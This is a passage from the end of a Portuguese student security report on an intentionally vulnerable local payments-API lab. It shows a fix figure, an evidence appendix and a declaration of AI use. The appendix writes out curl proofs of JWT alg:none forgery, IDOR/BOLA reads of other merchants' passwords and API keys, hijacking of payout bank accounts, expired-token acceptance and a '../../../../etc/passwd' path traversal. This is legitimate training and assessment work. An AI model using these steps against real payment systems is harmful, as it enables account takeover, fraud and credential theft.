-d '{"merchant_id":"m_4821","banco":"341","agencia":"2020","conta":"98765-4","cpf_cnpj":"44555666000199","step_up_ok":true}'
HTTP/1.1 201 Created
{"ok":true,"merchant":{"id":"m_4821","nome":"Mentoria Alpha Trader","payout_conta":"****-4","saldo_centavos":9610000}}
# quem integra de boa nao quebra: so muda a propria conta
```

Figura 15. Depois: o lojista troca a própria conta normalmente (201). A correção não quebra quem já integra.

Anexo A. Transcrição de evidências (execução real)

Saída capturada contra `http://localhost:3000`, com banco em memória e estado inicial a cada start, numa única sessão (as figuras do corpo reproduzem estas mesmas saídas). Os tokens forjados foram gerados com um script de HMAC via `crypto` nativo, sem biblioteca externa.

```
=====
APENDICE DE EVIDENCIAS - execucao real contra http://localhost:3000
Lab arara-lab (banco em memoria, estado inicial a cada start).
Captura unica; as figuras do corpo reproduzem estas mesmas saidas.
=====

[E0] LOGIN legitimo do atacante (m_4821)
$ curl -s -X POST localhost:3000/v1/auth/login \
  -d '{"email":"contato@alphatrader.com","senha":"senha2024"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJtXzQ4MjEiLCJpYXQiOiJlY30TE0MDUXODZ9.cvJbfjBHQjt0Y
C2oqC-mz1dkx4T_tABY7UqMlzBPhvY"}
# payload (sem campo exp): {"sub":"m_4821","iat":1791405186}

[E1] alg:none le o cadastro do m_0093 (estado original)
$ curl -s localhost:3000/v1/merchants/m_0093 -H 'Authorization: Bearer <alg:none sub=m_0093>'
id=m_0093 senha=arara123 api_key=sk_live_m0093_8f2a1c whsec=whsec_plataforma_unico
payout=237/0001/12345-6 saldo=4820000

[E2] IDOR: token do m_4821 le o cadastro do m_5117
id=m_5117 senha=mudar123 api_key=sk_live_m5117_c1d4f0 payout=260/0001/55555-5

[E3] Enumeracao em massa (alg:none por id)
m_0093 | arara123 | sk_live_m0093_8f2a1c | whsec_plataforma_unico
m_4821 | senha2024 | sk_live_m4821_3b9e7d | whsec_plataforma_unico
m_5117 | mudar123 | sk_live_m5117_c1d4f0 | whsec_plataforma_unico

[E4] Segredo fixo arara-2024 aceito / segredo errado rejeitado
token assinado com 'arara-2024' -> HTTP 200
token assinado com segredo errado -> HTTP 500 (excecao nao tratada; ver M1)

[E5] Token expirado (exp em 2023) aceito
exp: {"sub":"m_5117","iat":1700000000,"exp":1700003600} -> HTTP 200

[E6] BOLA: m_4821 troca o payout do m_0093
[antes] 237/0001/12345-6 -> HTTP 201 -> [depois] 999/6666/00000-0

[E7] Cadeia alg:none + BOLA (requisicao anonima) troca o payout do m_4821
[antes] 341/2020/98765-4 -> HTTP 201 -> [depois] 001/0001/13337-0

[E8] Path traversal no relatorio
arquivo=../../../../etc/passwd
download_url = https://arara-conciliacao.s3.amazonaws.com/relatorios/../../../../etc/passwd

[E9] Token inteiro no log do servidor (nivel DEBUG)
[Nest] 947 - 10/07/2026, 8:33:06 PM DEBUG [reports] conciliacao auth=Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJtXzQ4MjEiLCJpYXQiOiJlY30TE0MDUXODZ9.cvJbfjBHQjt0Y
C2oqC-mz1dkx4T_tABY7UqMlzBPhvY params={"arquivo":"out.csv"}
```

Declaração de uso de IA

O enunciado pede isto de forma explícita, que é declarar o que foi feito por mim e o que foi feito pela máquina, lembrando que usar não tira ponto e mentir tira. Então, de forma honesta: usei IA como apoio na leitura dos cinco arquivos e no levantamento dos pontos suspeitos, na subida do lab local, na escrita e na execução dos comandos de prova, na captura das saídas, na redação do texto e num passo de validação que subi o lab de novo e reexecutou todos os PoCs contra a instância viva, para confirmar que cada saída colada é real.

O que foi meu: a revisão de cada achado, da severidade, do ranking e do impacto de negócio; a conferência de que cada PoC bate com o que está escrito; a decisão do que entra e do que fica de fora; e o ajuste do texto e das recomendações de conserto para o contexto da Arara. Entendo e sei defender cada item daqui. As falhas no fonte vêm marcadas com [plântado] pelos próprios autores do lab, e usei isso para conferir a cobertura, não como atalho, já que cada uma está provada contra a instância em execução.